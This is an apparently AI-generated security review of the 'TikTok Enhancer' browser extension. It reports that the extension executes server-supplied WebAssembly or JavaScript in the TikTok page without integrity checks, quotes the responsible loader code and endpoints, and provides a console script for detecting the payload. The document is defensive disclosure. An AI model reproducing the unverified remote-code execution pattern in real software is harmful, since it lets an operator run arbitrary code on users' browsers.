Is TikTok Enhancer - Editing News & Re:TikTok safe?
TikTok Enhancer is critical risk. v2.1.3 fetches a WebAssembly binary in its heartbeat response and runs it in the TikTok page with no integrity check. v1.1.8 ran server-sent JS via new Function() instead. Both let the operator run arbitrary code on active installs.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server delivers and executes arbitrary code in the browser
v2.1.3 fetches a WebAssembly binary in its heartbeat response and runs it in the TikTok page with no integrity check. v1.1.8 ran server-sent JS via new Function() instead.
Both let the operator run arbitrary code on active installs.
You install the extension and authenticate with a paid subscription.
Once confirmed as subscribed, the content script begins a periodic heartbeat loop with the developer's server.
The server can return a WebAssembly binary in the heartbeat reply, which the extension compiles and runs immediately in the TikTok page.
There is no signature verification, no hash check, and no notification to the user. The payload can be changed server-side at any time.
WebAssembly execution path, assets/index.ts-BALobTrH.js (version 2.1.3)
// From the heartbeat response handler (index.ts-BALobTrH.js, lines 493-499)
// t = response from POST https://v2.editingnews.com/api/heartbeat
if (t.wasm) {
try {
// Decode the server-supplied base64 blob into raw bytes
const wasmBytes = Uint8Array.from(atob(t.wasm), c => c.charCodeAt(0));
// Compile and instantiate with no integrity verification
const { instance } = await WebAssembly.instantiate(wasmBytes);
// Store exported functions for repeated execution on each heartbeat cycle
I = instance.exports.h; // invoked as: I(0, challengeBytes.length, 0)
P = instance.exports.m; // used as a shared memory buffer
} catch {
return;
}
}Earlier mechanism, new Function() execution in version 1.1.8 loader.js
// From loader.js (version 1.1.8), lines 18-24
// chunks delivered by background.js from api.editingnews.com/api/secure/chunk/{name}
i.forEach(chunk => {
try {
// Server-provided JavaScript string executed directly in the page context
new Function('window', 'document', chunk.code)(window, document);
} catch (e) {
// Silent failure
}
});- v2.editingnews.com
Current (v2.1.3) heartbeat endpoint. POST /api/heartbeat response may include a `wasm` field, a base64 WebAssembly binary compiled and executed client-side.
- api.editingnews.com
Earlier (v1.1.8) chunk delivery endpoint. POST /api/secure/chunks and /api/secure/chunk/{name} returned raw JavaScript strings executed via new Function() in the TikTok page.
Intercepts the heartbeat response from v2.editingnews.com and alerts if a `wasm` field is present in the reply, indicating the server is pushing executable Wasm to the browser.
// Run in the browser DevTools console on any tiktok.com page while
// the TikTok Enhancer extension is active and you are subscribed.
// It monkey-patches fetch to intercept the heartbeat response.
(function() {
const _fetch = window.fetch;
window.fetch = async function(url, options) {
const response = await _fetch.apply(this, arguments);
try {
const urlStr = typeof url === 'string' ? url : url?.url ?? '';
if (urlStr.includes('editingnews.com') && urlStr.includes('heartbeat')) {
const clone = response.clone();
const data = await clone.json();
if (data && data.wasm) {
console.warn(
'[ALERT] Heartbeat response contains a Wasm payload.',
'Base64 length:', data.wasm.length,
'Decoded bytes:', Math.round(data.wasm.length * 0.75),
'Full payload:', data.wasm
);
} else {
console.log('[OK] Heartbeat response — no Wasm field present.');
}
}
} catch (e) {}
return response;
};
console.log('Heartbeat monitor active. Waiting for the extension to send a heartbeat...');
})();- 1Open tiktok.com in Chrome with the extension active.
- 2Open DevTools, Console.
- 3Paste and run this script.
- 4Wait up to 60s for a heartbeat cycle.
- 5An [ALERT] line confirms the server sent executable Wasm.